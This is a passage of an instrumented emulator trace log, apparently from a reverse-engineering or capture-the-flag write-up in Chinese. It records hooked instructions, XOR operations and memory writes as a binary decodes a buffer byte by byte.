class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x17</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x18</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x19</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x1a</span><br><span class="line"><span class="selector-attr">[XOR @0x1000e34]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f1c ← <span class="number">0</span>x1b</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x14</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100084b: mov esi, <span class="number">0</span>x29</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000865: cmp esi, <span class="number">0</span>x53</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x100085f]</span> MEM<span class="selector-attr">[0x2003f49]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f49 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000654: mov esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100066e: cmp esi, <span class="number">0</span>x3b</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR 